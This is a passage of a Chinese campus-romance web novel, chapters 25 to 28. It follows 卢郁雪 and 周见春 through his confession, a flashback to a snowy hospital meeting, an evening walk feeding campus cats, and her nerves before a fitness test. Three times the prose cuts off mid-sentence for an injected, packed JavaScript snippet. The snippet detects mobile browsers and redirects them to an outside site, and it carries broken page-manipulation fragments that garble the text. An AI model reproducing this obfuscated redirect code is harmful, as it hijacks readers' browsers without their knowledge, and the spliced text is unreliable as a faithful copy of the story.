一旦察觉就觉得这气味越来越浓烈,像是浸润在空气中无法消散,卢郁雪忍不住要去摸口罩。 垂下头也能感觉眼前的光线暗了下去。一双手覆在了她的头顶,没使力气见她抬头便移了下去。 “来取快递?” “嗯。”她摸到口罩的手又伸了出来木讷地点点头。 “怎么站在这,是没找到吗?” 卢郁雪转头看向过道,还是很多人,一点不见少,等下去也没有结果还是自己找吧。 “刚刚人有点多,我现在去找。” 她说得小心,眼色也飘忽不定。周见春觉得卢郁雪好像误会他了,他不是那个意思。 狭窄的过道根本不容两个人并排走,周见春侧着身子挤到里面,卢郁雪正伸长胳膊比对手机上的取件码。 铁质的货架在灯光下泛着冷冷的光,卢郁雪最终停在一个凹进去的纸盒前。不知谁取快递把它推到了里面,又在最上层,卢郁雪踮起脚也只能够到盒子的边边。 周见春很有眼力见地取下来递给她,又在前面帮她开路到机器那里出库。 这时的空气才流动起来,阴湿腥臭的气味淡去,卢郁雪缓了过来。一转头,周见春正站在自己身边呆呆地盯着自己。 “你看我干嘛?” “没,没看你啊。”周见春面不改色地反驳,语气一转,“我觉得我们之间有误会,我刚刚不是赶你走,想问你需不需要帮助的。” “哦,不需要,谢谢啊。” 三个快递盒,不多不少,刚好两只手能拿下。 她朝周见春抿嘴客气一笑,抬脚要走,周见春又拦在她的身前。 手里的快递盒因为突然的急停差点掉下去,周见春伸手帮她扶好顶着卢郁雪的注视拿了上面两个到自己怀里。 “我觉得我们之前也有误会。” “怎么说?” 卢郁雪偏着头问他,身后的路灯在地上投下橘黄色的光晕,他的面上也是橘黄色,在不明朗的月色下掩住一些情绪。 可他一开口就漏了馅,像是被风带走了调,甚至有些字样起伏得很不正常。 “卢郁雪,你有男朋友吗?” 周见春真的很擅长转移话题,上一秒还在说他们之间的误会,下一秒却问她有没有男朋友,连铺垫都没有。 她没有小名也没有外号,从小到大所有人叫她,都是卢郁雪卢郁雪,她不觉得叫全名是生疏或者客气。 叫一个人的大名,很正式,就像现在周见春叫她卢郁雪,问的就是她这个人,不掺杂任何私人交情。 话已至此,傻子也听出来周见春的意思了。 可是为什么呢,为什么现在说喜欢自己,为什么这个人会是她。 卢郁雪也觉得自己有点死犟,她喜欢周见春的时候也说不出什么理由,一切的开始只是在楼道自己递了个创可贴而已。 可当被喜欢的对象换成自己,她就一定要搞明白,为什么是自己。她是对周见春余情未了,以至于不能狠下心拒绝对方的示好。 即便如此,她也不能接受周见春无缘无故的喜欢,这样无厘头的喜欢让她没有安全感,更不敢轻易表达自己的情感。 她宁愿自己的喜欢烂在肚子里和周见春错过,也不会将就。 男生的眸子亮了起来,似乎很有希望地想要开口,但卢郁雪先问了回去。 “为什么是我?” 当初拒绝自己的人是他,现在又问自己有没有男朋友。他是一直在问自己的想法感受,可始终,主导这段关系的人不是自己。 仗着卢郁雪喜欢他,和他表白过,可以轻而易举地靠近自己,不断试探她的态度索求回应。 她期盼过周见春可以真的喜欢自己,可当这份喜欢摆到面前,她又开始怀疑对方喜欢的真实性。 快递盒面很粗糙,卢郁雪从他手里夺过来时搓掉了不少碎屑。 她的声音低下去,失了兴致也没了兴趣,“你自己好好想想吧。” 一字排开的路灯下间距均匀地投下光圈,卢郁雪的影子拉长又变短,浅淡又浓黑。 这样的背影,周见春见过很多次。 周见春生在德水长在德水,他是德水人也是江林人。他第一次来到江林市,是初二那年父亲突发性耳聋住院。 母亲在养老院工作,上一休一的制度让她办完手续后就匆匆乘火车回了德水。 窗外大雪纷飞,厚厚的积雪压断了不少树枝,啪嗒一声砸下去,隔着厚厚的玻璃窗也能听见声响。 屋内空调开得很足,玻璃窗上起了雾气,周见春用手擦过也是湿漉漉一片。 南方的冬天冷得透骨,一阵阵的暖风直直吹下,却只暖了皮肤表面,关节骨头间像被死死冻着一直未能消融,弯曲伸直都很僵硬。 他刚刚考完期末就被拉到了医院陪父亲住院,听说是长期熬夜作息不规律导致的突发性耳聋。 打了针挂了点滴,穿着白大褂的医生也来看过。 周见春的视线移到病床上,躺着的人面色苍白两颊瘦削,像是很久没有进食,眼神盯着天花板,空洞又茫然。 他起身到床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100053|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前拿起银白色的水壶要倒水,病床上的男人注意到他的动作,摆摆手表示不喝。 周见春只好又坐了回去,天阴郁着,万物都笼罩在其中,窥不见任何光亮。 和父亲,他似乎没有什么话要说。从有记忆起,父母一个上夜班一个上一休一,他总是一个人上学一个人做饭吃饭。 他感念父母的辛苦工作,也努力学习回报父母,但总觉得,少了些什么。 冬天的白昼短暂,只是低头发了一会儿呆,电视节目播了几个广告,再向窗外望去,已经是黑漆漆一片。 唯有被光照着的地方,才能看清飞雪是如何一点点堆积淹没来往路人的脚印。 门募地被推开,走廊的温度比屋内要低,骤然下降的冷风犀利又直率地闯入,搅动原本温和又平静的空气。 呼呼吹风的空调突然停滞,周见春转头从风雪连天的窗外看向门口。 有一位和他年龄相仿的女生探头探脑地张望着,红色的围巾系在脖颈,杏眼窄双眼眸清亮,肤色粉白还透着红血丝。 她像是从雪中来,衣服的褶皱处还有残雪在其中,透进来的冷风都带着雪意。 可这样的雪意还没有吹到周见春身上,门就被带上,空调再次呼呼吹响将那股雪意融为暖风。 已经六点多钟,再怎么不饿,也该是吃晚饭的时候。 他问父亲想吃什么,只得到一句都行。都行可太难办了,他回想母亲的交代,抓起一把伞出门。 医院的构造他还不甚清晰,按照记忆食堂好像是要下到住院部一楼然后往另一栋楼走。 同一条路到了晚上就像上了迷障,看不清又拿不准,他硬着头皮走,非但没找到食堂反而绕到了另一个门。 下着雪,医院门口依然支了很多摊,各种彩色的棚子下都飘着橘黄色的烟气。雪落在伞面也有不少斜吹进来,覆满他的手面。 只短暂停留很快融成了水,像是冰冰凉凉的雨滴。他忘了戴手套,零下的风吹过皮肤表面,像在蚕食,很疼。 一棵光秃秃的柳树下,支了卖冰糖雪梨和烤红薯的摊子,香甜的气息裹在暴雪中,依然浓烈。 他转身要走,身后传来一声叫喊,“小伙子。” 周见春不觉得这是在叫自己,他没有回头,踩着吱吱呀呀的雪走,身后也有无数吱吱呀呀的雪在响,迎着风他将伞打得很低,低到只能看见路人的鞋子。 一双手拍在他的肩膀,帮他掸落薄薄一层雪,已经冻得发紫的手上勾了一个塑料袋子。 袋中是豆浆杯,半透明的盖子可以看见红枣银耳和梨子皮。 他提得太低,没遮住雪,不少从袋子的低处飘到半透明盖子上,顷刻之间化成了水珠。 周见春将伞面稍稍上移,一张温厚的脸背对着漫天大雪笑盈盈地说:“你是3床周成树的儿子吧,送你喝,外面雪大,快点回去吧。” 他认得这个人,是父亲的主治医师卢远峰,早上带着许多白大褂医生来查过房,还问了许多问题。 没等周见春开口说谢谢,卢远峰就转身踩着吱呀呀的雪往摊子那走。 雪地带着细闪,像星星也像彩色的钻石。无边无际的莹白里,还有无边无际的风,大雪覆盖天地,也掩住声响。 周见春转头看见半个钟头前闯入病房的女生正撑着黄色的伞冲卢远峰招手,那时风很大雪也一直在下,可能是恰好顺了风向,他听见女生说的一句话。 “给他了吗?” 再想从风中分辨字样,一辆私家车打着近光灯开进了医院。他只能看到两把伞在移动,随后消失在雪夜中。 那时的雪只是落在他的肩膀,却也压得他难以在风雪中站稳。本以为这场风雪不会随着春天的到来而消融,他将永远困在这个落雪天。 可当冒着热气的冰糖雪梨递到他的手中时,所有斜吹进来的雪都化成了温热的水。 此后便是草木蔓发,春山可望。 26. 坦白 流星是转瞬即逝的,许愿也是。错过就是错过,事后再想弥补也不是当初的感觉。 他见过很多次这样的背影,也留给卢郁雪很多次这样的背影。 这一次,该他主动追上了。 风从背后吹来,路灯下的柏油马路亮闪闪的,像橘色的海。卢郁雪垂头走着,只觉得脑袋空空。 她刚刚,好像拒绝了周见春,而且是明白地拒绝了对方有点像表白的话。 不要后悔卢郁雪,她在心里对自己说。 光线不太明朗处冲出来一辆共享自行车,一声接着一声地按铃铛,卢郁雪移到了旁边的人行道上,避免被撞到。 最上面的快递盒很轻,风一吹就止不住地晃,卢郁雪弯了一点手臂想尽量圈在自己怀中。 一双手出现在自己面前,反应过来时,自己的快递已经到了对方怀中。 “你。”她刚吐出一个字就被周见春打断。 “卢郁雪,你现在有时间吗?我想认真和你解释。” “想清楚了?” 卢郁雪的脑子还有一点乱,刚刚被她拒绝的人再次追了上来,她问周见春有没有想清楚,也是在问自己到底想要什么样的回答。 “想清楚了,我喜欢你。”他认真地点头。 这话说得太突然,横冲直撞没有铺垫,一下将人的心拉到最高点悬着又不肯说出后半句。 卢郁雪像是晃了神,怔在原地,双手空空垂在身侧不知道该说什么。她环顾四周,没有月亮的天空,光线黯淡的马路,还有路过的学生。 草率,比她当初表白还要草率。 可即便草率,听到这样的话,她还是被吊起了情绪。她的后脖颈有点发热,风一吹又降了下去,卢郁雪平复心情偏着头看他。 不为所动。 周见春上前一步说道:“我第一次见你,不是在办公室。初二寒假,江大附属医院,大雪,那天你给我递了一杯冰糖雪梨。” 陡然拉近的距离将风阻塞,陌生的气息压下来,侵入她心中预设的安全距离。她避开和周见春直视,往后退了一步。 每说一个词,卢郁雪的记忆就复苏几分,像是一直积压在深处都落了灰的画面重新上了色彩声音。 她想起在病房偶然开门看见的少年,也想起卢远峰如何称赞她这位同龄人细心上进。 至于递出的冰糖雪梨,她也不知那时出于什么缘由让卢远峰给他递过去。可能是同龄人之间的示好,也可能是学的爱之链课文影响了她。 晦暗不明的光线里,卢郁雪神色复杂,周见春想尽量说得完整,但好像面前的人已经不记得了。 那么小的事,忘了也很正常吧,只是漫天飞扬大雪里的一面而已。 眼前人整整高出自己一头,他站得挺拔却沮丧地垂眸看向手中的快递盒,纷乱的黑发微微遮住眉眼,和那时尚未长开的模样重叠。 这件事太小了,小到卢郁雪现在想起也忘了当时的想法。 周见春有些失落,她很抱歉。 “我记得,但是抱歉,我现在才记得。”她斟酌着开口,这次她是真心想要给周见春回应。 她没觉得自己做了多么了不起一件事,但周见春一直记得,还记得很清楚。 听到卢郁雪的回答,周见春腼腆地笑了笑,他摇摇头,越过那时的风雪,眸中蓄满温暖的橘黄色光亮。 他想说的不止这些,他想告诉卢郁雪自己如何一点一点被她吸引如何期待他们见面,他想说很多话,纵然词不达意也想告诉她。 “没关系。还有高考完那天,其实在高考前,我就在嘉合花苑见到了叔叔,他怕耽误你学习,所以,所以我没敢表明我的心意。” “我喜欢你,从很早就开始了。但那时,我觉得自己不够好,我担心自己不是你想象中的模样。我想再等等,等我能够满足你的期待,可我忘了喜欢是有保质期的。” 周见春自顾自地说着,好像不在乎卢郁雪的反应,也不奢求她给出回应,只是将心中的想法都说出来给她听见。 信或者不信,那份喜欢是否过期都不重要了,他只想让卢郁雪知道,自己是真心且小心地喜欢她。 他一直被视作清高孤傲的人,但被自己喜欢的人误解,周见春再也维持不下这样的形象,追到卢郁雪面前亲手摘下这样的标签,变成卢郁雪陌生的模样细数自己的喜欢。 卢郁雪攥着自己衣角的拉链,风从指缝穿过,带走掌心的燥热。 听一个人细数自己的喜欢原来是这种感受,那时周见春也像她这样不知道怎么开口吗? 所以,先动心的那个人不是她。 她以为的苦涩暗恋有人比她更为战战兢兢如履薄冰,可为什么,不早点开口。 他们差点就要错过了。 来往的人变得稀少,周见春站在路牙石下面,只比卢郁雪高出半个头,他们的视线几乎相齐。 “现在也还喜欢我?”她轻呼一口气想掩住不稳的声线。 夜晚会模糊很多东西,晦暗不明的天空,影影绰绰的香樟树,辨不清来向的晚风,但跳动的心脏和短暂停滞的呼吸骗不了人。 周见春的手上突然没了力气,快递盒子都险些掉落,他垂头一笑又敛去笑意,万分真挚地说:“是,很喜欢。因为你是卢郁雪,我喜欢卢郁雪。你还喜欢我吗?或者说,你能再喜欢我一次吗?” 云层很厚,没有一点清辉洒落。她的脚下有一颗碎石,卢郁雪无意间碰到就骨碌到了花坛边。 细微的声响戛然而止,卢郁雪双手背在身后歪着头故意不去看周见春的表情,“嗯,也不是不可以,看你表现了,周见春同学。” 上扬的尾调在念到他的名字时降了下去,她转过头看周见春被自己说得一愣一愣的。 趁对方不注意,卢郁雪伸手去拿自己的快递,却落了空,周见春反应很快,护着怀里的快递盒说:“我帮你拿。” 卢郁雪哭笑不得地说:“你这,是不是有点谄媚?” 憋了半天,只想出这一个形容词,好像有点贬义。 “还好吧,卢郁雪同学,还有什么要吩咐的吗?” 人生若只如初见是可喜还是可悲卢郁雪一直都没有想好站哪方,她会因为一眼而喜欢上周见春,也会想要了解那一眼之外的周见春。 白色打底,红绿点缀的创可贴是吸引她的开始;漫天飞雪,甜梨融水是产生交集的开端。错位的相识遇见,在一个没有月色的夜晚并轨。 快递站回随园的路不长,谈到高中,不可避免地谈到高考。 “你第一志愿就填的江大吗?” 理论上来说,卢郁雪当时的分数如果想搏一搏,往偏远地区报985还是能上的。软件工程和汉语言文学不是一个专业组,不过都是热门专业分数不会差很多。 留在本地上大学,不太符合她对周见春的印象。 “提前批就录上江大了。” “哦,这样啊。” 高三时候公示栏确实挂了所有人户籍地的名单,不过纸张太多,她也没细看。 再追问高考分数好像有点不礼貌,卢郁雪换了个话题。 “我们还挺有缘分呢,正好都在江大。” 江林市不止一个大学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114795|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有其他省市高校的分校区。同一个城市不刻意去找的话,能遇见熟人的概率堪比中彩票。 “不是缘分。” 他突然停了步子,很认真地开口:“成人礼那天,我看到你在气球上写的理想大学。” 好遥远的词汇,成人礼那天班主任是要求写下自己的理想大学,不过那时还是高二,她哪里关心什么分数线省排名随手写了一个上去。 “那我随手写的,你不是随手写的吗?” 完了,看周见春认真的表情,他好像真的不是随手写。 “你,不会因为我考江大吧,你省排名多少,高分低报了?要不你现在去复读重新考一个,高考报名还没开始。” 卢郁雪一慌,什么话都说了出去。 江林这地一直就很注重教育,为了孩子上学可以砸锅卖铁那种,以至于卢郁雪和别人谈起遗憾,总是数学多选漏了半个错过上一个志愿提档。 如果因为自己耽误别人高考志愿简直是大罪过,卢郁雪紧张地咽口水,但周见春不说话,好像真的在思考要不要去复读。 “我如果因为你高分低报会很愧疚吗?” 她的情绪都写在脸上,周见春自知失言很快接了一句:“没有高分低报,复读还是算了吧。” 能不能开玩笑,周见春还是分得清的。一切都要为学习让路的观念下长大,如果有人因为自己放弃更好的学校,周见春也会愧疚死。 周见春腾出一只手想摸摸她的头又觉得不合适,弯下腰勾了勾她的手指。 女生的手指软,轻轻一捏就有反应。 察觉到不明温热的她下意识抬头看向周见春,他软着声音哄她:“对不起,我开玩笑。真的没有高分低报,不信我给你看我高考成绩截图。” 卢郁雪反过来用力捏了周见春的手指,没有多少肉全是骨头很硬。 “以后不许瞎开玩笑。” “嗯,错了。” 他轻声说着,但嘴角噙着笑,总感觉不正经。 拐到随园宿舍楼那条路,卢郁雪就坚决不让周见春再送了。 “好,那我走了。” 快递交接到了卢郁雪手中,她从快递盒最下面向上翻出手掌挥了挥。 不让周见春送到楼下,一方面是因为可能有女生穿着睡衣扔垃圾不方便,另一面是容易撞见小情侣。 随园靠近一食堂,一食堂附近又有一片竹林,晚上照明不好,绰绰约约的竹影里总有分不出男女的两个人在卿卿我我。 以往和叶敏一起走,她们还会故意往那边看,现在和周见春一起走,真不敢想象如果撞见多么尴尬。 她沿着路牙石走,人行道上站着一对情侣,离他们还有两个路灯的时候,还好好地拉着手,等她靠近就很巧地亲了起来。 卢郁雪站定倒吸一口气,埋头疾走。 不是,她还在这呢,她那么大一个人,不能等她走了再亲嘛。 她尴尬地不知道应不应该假装自己又聋又瞎,拐到自己宿舍楼下的时候,她想回头再看一眼那对情侣还在不在。 余光却瞥到几个路灯之外的周见春,他还站在原地一动不动,发觉自己被注意到,还大方地挥了挥手。 很张扬,很招摇。 卢郁雪想比一个让他走的手势却腾不出手,路灯下挥动的手垂了下去,周见春也低下头掏出手机不知道在干什么。 刷脸屏幕出现了她的名字,卢郁雪正要上楼,手机传来一声震动。 她把快递盒子放在大厅的茶几上掏出手机。 【周见春:不让我送你是因为刚刚那对情侣?】 27. 散步 这话说的,卢郁雪又不是没见过大场面的人。 【不是啊,想你们信科院应该没几对小情侣,怕你没见过这场面,为你考虑呢】 卢郁雪发完得意地拿着快递上楼了。 叶敏依旧对着电脑敲个不停,终于解放双手的卢郁雪瘫在座位上。屋内没有风,卢郁雪觉得身上止不住地发热,她起身走向洗手台。 “快递站人很多吗?感觉你饭都要凉了。” 汩汩水流沿着手腕下滑,卢郁雪冲了一会儿关上水龙头拍拍脸走回座位说:“还行吧,我可能走得有点慢,哎,你还在写辩论稿吗?” “不是,我在搞明天的PPT,隔壁宿舍刚弄好发来,我得看一遍才好发言。”她背对着卢郁雪看不见表情,只觉得卢郁雪说话有点不一样了。 “哦~,你不说我都忘了明天要展示小组作业,两节课能展示完嘛,好几个班呢。” “应该差不多吧,一个班也就五六个组,两个小时怎么也够了。” 卢郁雪应着,放在桌角的手机传来震动,卢郁雪直起身子去看消息。 【周见春:感谢文学院大人带我见世面】 卢郁雪憋住笑回了他一个表情包。 【[退下吧]】 【遵命】 第二天早上,周见春出现在了卢郁雪楼下。 天光大亮,叶敏眯着眼看清来人,打量一番周见春指着自己旁边卢郁雪问道:“你来找她的?” 两人的视线都落在了卢郁雪身上,她绷直后背一副大义凛然的模样。 见她摇头,周见春无奈笑笑开始编瞎话:“我校园跑呢。” 叶敏还有些不信,卢郁雪却挽着她的胳膊急急催道:“快走快走,上课呢。” 小组作业展示很顺利,但上完课又被留下来开了十几分钟团课,咔咔一顿摆拍哄然而散。 “大学,真是没意思。” 等周日的夜晚降临,卢郁雪又觉得大学太有意思了,简直是光阴如梭,第二天一睁眼又是早八。 困啊,真的太困了,一直上到晚上,卢郁雪觉得自己灵魂还没有醒。 叶敏辩论准备得差不多,卢郁雪也被录入pu工作人员后台,结果突然通知去开入党积极分子推举会。 “那你打辩论怎么开会?” “放心,我请假了,投票表我提前写好给团支书了,你去开会吧。” “行吧,我让她们给你拍好看点。” 叶敏忍俊不禁,还真以为自己想让她拍照呢。 “我说着玩呢,就想让你听听这个辩题。” “我?为什么啊?”她蹙着眉很是不解。 还没到时间,后台人不多。叶敏恨铁不成钢地把自己稿子捧到卢郁雪面前,纸张的油墨味猛然灌入她的鼻腔,人也清醒了许多。 “当然是怕你恋爱脑,周见春是不是最近还在找你?我跟你说,那都是表象,你只是沉溺在过去,那些风花雪月的瞬间都是你脑补的,了解一个人要全方位的才行。” 见卢郁雪还懵懵地点头,叶敏用力晃了晃她的肩膀说:“至少也得我帮你把关,听见没。” “他不是你社长嘛,你以前不是还说他这个人可靠?” 叶敏大一在朗诵社的时候没少夸她社长,主要是事少有什么活自己干,成员都落个清闲。突然这么大的态度转变,卢郁雪都怀疑他们是不是有什么矛盾瞒着自己。 “前社长,前社长,而且社团办得好又不代表他在感情上也是个好人。” 外面话筒开始试音,混合各种杂乱的气流声,以绝对音量压制后台的人声。 叶敏看了看时间理理自己的正装说:“我这快要开始了,别陪我了,开会去吧。” 卢郁雪也不想扯着嗓子吼,比了个OK的手势从侧门离开。 天色暗得太快了,卢郁雪两手空空混在上课的人群里往教学楼走。 入党积极分子推举很快,就是流程繁琐,每年的名额有限卢郁雪也不知道能不能轮上自己。 “我的发言到此结束,谢谢大家。” 台下响起松松散散的掌声,错落坐开的大教室割据成一小块又一小块,疏离客气又都期望自己当选。 卢郁雪发言时觉得坐着的人不真心,可当她坐着听别人发言时,也不真心。 “弃权也需要写理由,必须是正当理由,不熟不了解这种不行。” 团支书站在第一排转身向后排的她们说,卢郁雪早早抄好了专业年级,发言一结束就埋头填满。 不需要动脑子,笔尖如流水一行一行写下去,全是一样的两个字。 同意,同意,同意,同意…… 她将自己的纸条递给团支书,没有肢体接触也没有眼神碰撞,都在完成学校交代的工作。 从灯火通明的教学楼出来,无边的夜色笼罩下,她看不清别人的脸,别人也看不清她的模样。 走在这样的路上,她浑身轻松许多,无人在意她,她也无需在意任何人。就算翻个跟头也不会有人说她有毛病,有毛病的人太多了。 学校总喜欢干一些让学生感受不到人文关怀的事,卢郁雪走着发现二食堂附近多了一个雕塑,比她要高一些,但看不出来是谁。 她摸着底座边缘绕到雕塑正面想看清名字,一个猫突然窜出来,几乎是飞扑到她面前的草地上。 夜色下猫的眼睛玲珑剔透,它不算友好地瞄了一声,颤动的胡须也像是在挑衅。 卢郁雪放弃去雕塑正面看名字的想法,她怕被抓,抓一下可就是几千块钱的疫苗。 她盯着猫的眼睛缓慢后退,一个不小心踩到落叶还有咔嚓一声。 猫又叫了一声,格外凄凉尖锐,像是能穿透这夜色,听得人心里发毛。 今天的云层薄,月色冷冷,照在大理石雕塑上也泛着冷光。一个黑影从雕塑后面闪了出来,卢郁雪看也不敢看转身拔腿就跑。 “卢郁雪。”他的嗓音清冷,但此时出现在秋夜里,像是叶尖滚动的露珠,温润没有攻击力。 她停下步子转头借着月色想看清那个黑影。 卢郁雪歪着头试探地前进,周见春直视前方大步地向前。 两人的距离拉近看清了彼此,她有些尴尬地笑笑,不自然地撩着头发先发制人:“你怎么在这?” “嗯?”周见春挑眉将手中的猫条举得更高一点,生怕她看不见。 “喂猫啊,你小心被抓,打疫苗很贵的。” 他轻哼一声像是听见,又像是没听见,顿了几秒才开口:“要一起吗?” “啊?一起喂猫?不了,我怕被抓。” 她悻悻地开口又往后退了几步,草地上的橘猫像是能听懂他们说话一样,高傲的模样不在,轻轻喵了一声,圆圆的眼角垂下去无辜地盯着卢郁雪。 不是,你刚刚不这样啊。 “那聊聊天?” “好,我站远点。” 卢郁雪走了几步躲在周见春身后,看他蹲下去挤着细长的袋子。 猫的白胡须很长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137252|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点像螃蟹,还会随着嘴巴动,卢郁雪盯得仔细,忍不住问他:“你是动物保护协会的?” 学校的流浪猫很多,都是这个协会统一管理,打疫苗搭窝喂食等等。 周见春的动作看着很熟练,像是喂过很多次。 “不是,偶尔会来。” 他蹲下去喂猫说话声音也盘旋在下面,闷闷的,像是被雨打湿的蒲公英。 “哦,我听说猫不能吃太多猫条,不然会不认真吃猫粮。” 卢郁雪没养过小动物,这些也是偶尔刷视频被科普。 “对,所以偶尔喂一下。” 挤完最后一点猫条,周见春起身转到她的身旁,橘猫似乎还没吃饱委屈地叫了一声。 “走吧。” “走哪?” 这就走了,卢郁雪以为周见春会和其他人一样撸猫,喂完就走了,这么利索。 “那去香名湖边转转?” 学校有很多湖,最大的在图书馆那,香茗湖靠近随园,中间架了一座桥通向实验楼。 “也行。” “心情不好?”周见春把袋子扔到垃圾桶从口袋掏出湿巾擦了擦。 “没有啊。”她下意识地反驳。 卢郁雪这个人藏不住事,喜怒哀乐都写在脸上,周见春换了个方式问她:“那你,是刚下课吗?” 这完全不是问题,六点钟下课,七点钟上完课,现在也就六点半左右,下的哪门子课。 “我刚刚去开入党积极分子推选会。” “没评上?” 说得真直白,还没到公示期呢,谁知道能不能选上。 “不是,我就是,突然觉得很没意思。” 这话全是情绪,她又接了一句。 “争来争去的,我也不知道自己在争什么。”脚边连个石子也没有,卢郁雪只能踢着空气。 周见春沉默着不说话,卢郁雪昂着头问他:“哎,你是积极分子吗?” “不是。” “你去年也没选上?” “没选上。” 这倒也正常,周见春高中时候就经常独来独往,大学的很多荣誉都需要投票,人缘不好确实评不上。 “那你这学期还选吗?” “不选。” “为什么?” 只有不够条件的人才会放弃,主动放弃的人不多啊。 他又不说话,卢郁雪追问道:“不试试吗?” “不试试。” 好吧,周见春比她想象的还要坚决。卢郁雪泄了气不想再搭话。 “卢郁雪,如果不是你喜欢的事,可以不用去做,做些没意义的事也会开心。” 周见春双手插兜慢悠悠走着,说话也悠悠的,像是真来散步。 “喂猫?”卢郁雪抢答。 “也算。” “可我又不喜欢喂猫,我还不喜欢上学呢,不还是要考大学。” “怎么说呢,大学它是一个门槛,随心所欲也要有前提,至少要达到一个平均水平再去追求自己的喜好。” 绕来绕去,周见春自己又绕了回去。好赖话都给你说完了,显得我像个蠢蛋。 “卢郁雪,你很好,不用去强加自己过多的压力,尽心就好。人生就是体验,活在当下。” 他说得轻松,像是看破红尘要羽化登仙。 “比如呢?” 卢郁雪最后再相信他一次。 “跟我谈恋爱。” 这次是周见春抢答。 28. 体侧 本就不亮的路灯还灭了几盏,可见度大大下降的路面不知道什么时候安了一条减速带。 卢郁雪人往前栽了一个大踉跄,差点脸朝地。 至于周见春刚刚说什么话,她更是无暇关注。 “不是,学校怎么又安减速带。” 周见春伸出去的手又默默收了回来,事发突然,他没来得及拉住卢郁雪。 “你刚刚说什么来着?” 她心有余悸地看了一圈脚下,确定再没有会突然出现的路障才想起来问他。 “没什么,你下次走路小心点。”周见春叮嘱道。 “哦,没事没事,还活着呢。” 她一副没心没肺的模样,周见春吃了瘪又不好再提。 湖水边的芦苇茂盛,灰白一片遮住湖面起伏的波澜。不远处的实验楼灯火通明,卢郁雪猜应该是研究生在做实验。 大学里本就少有人在校园闲逛,现在到了晚上,连虫鸣都格外响亮。 卢郁雪的口袋里传来一声震动,她熄灭手机屏幕对周见春说:“那个,叶敏找我有点事,我先回去了,时间也不早了。” 周见春觉得突然但看卢郁雪确实比较着急,也没有追问,点点头同意。 “好,拜拜。” 卢郁雪想扫个车,又担心大晚上看不清减速带,骑两步颠三下的。走路就走路吧,也不远。 她攥着手机尽量正常地走着,拐到周见春看不见的地方时,她突然快步小跑起来到了宿舍楼下。 宿舍走道狭长,从门口吹出来的风都少了些活人气,闷闷的压着人的兴头。宿管阿姨坐在小房间里刷视频,一抬头看到卢郁雪一步三回头惊慌的模样。 警醒的阿姨起身唰一声拉开小窗问她:“小姑娘,怎么了?” 宿舍楼的灯很亮,明晃晃地照着门前的空地,可见范围一直延伸到香樟树的林荫道。别说有人尾随了,就是掉了张纸都能看清吹到哪里。 “没事阿姨,我锻炼身体呢。” 她轻松地笑笑,强装镇定往楼梯口走。 和周见春进展是不是太快了,谈恋爱的话,不能因为他们高中有好感就直接谈吧。 卢郁雪人都洗好澡躺在床上叶敏才回来,她靠着枕头问:“怎么样,赢啦?” “赢了,以后都不想再打了。对面那个二辩我都不想说,一会儿他和女朋友分手,一会儿他有个朋友的,像是我们给他当情感解惑。” “啊,怎么这样,还夹带个人情感。” “挺强词夺理的。哎,你洗过了?” “洗过了,你去吧。” “行,我体育课要测肺活量,你多的吹嘴分我一个。” “随便拿,我书架最上面,零食那。” 卢郁雪坐起来向下探头给叶敏指,意识到自己刚刚听到什么后她才发觉马上就是周四了。 她忘了自己没跑八百米,以为这节课和其他人一样测立定跳远和体前屈呢。 一整个周三,卢郁雪都惴惴不安。如果不及格,还得再跑一次,这种痛苦一次就够了,还要来第二次。 “你觉得喝红牛有用吗?” 卢郁雪的手指已经扣住拉环,只要叶敏给予一个肯定的眼神就会毫不犹豫地拉开。 “我觉得,心理作用。”她说得实诚,浇灭了卢郁雪临时抱佛脚的想法。 人还坐在宿舍,心却跳得很快,连呼吸都变得急促,胸口闷闷的,喘不上气。 “你就正常跑嘛,四分半及格,及格就行,放轻松。” “行吧。” 卢郁雪应着,低头开始挑挑拣拣哪双鞋更好跑,衣服也得认真挑,空气阻力也要考虑进去。 操场上体侧的班级占了半圈操场,学校用的还是沙坑测立定跳远。 天气预报写着晴天,但没有一点太阳,云有些厚,风也很大。卢郁雪掩着口鼻,手背有粗糙砂砾滑过的触感。 体育老师带其他人去测体前屈,只留了班级负责人给她们几个人测八百。 “从这开始两圈,跑完我掐表念出时间,你们自己记住。来之前都拉伸过了吧,要不要再等一会儿?” 女生交代得很全面,操场的另一个入口出来乌泱泱一群人,不一会儿看台的栏杆那里就挂满了外套。 她们几个上节课没测的人都摆摆手拒绝,早死早托生,现在不跑待会人多了负责人也记不清谁对谁,万一记错时间就白跑了。 “行,那准备哈,有问题随时在群里联系我,一直到结课前都能测,不差这一次。” 站到跑道的时候,卢郁雪已经没有精力去分析外界的声音了,女生说什么都像是像被风碾碎,她只能听到自己的呼吸和心跳。 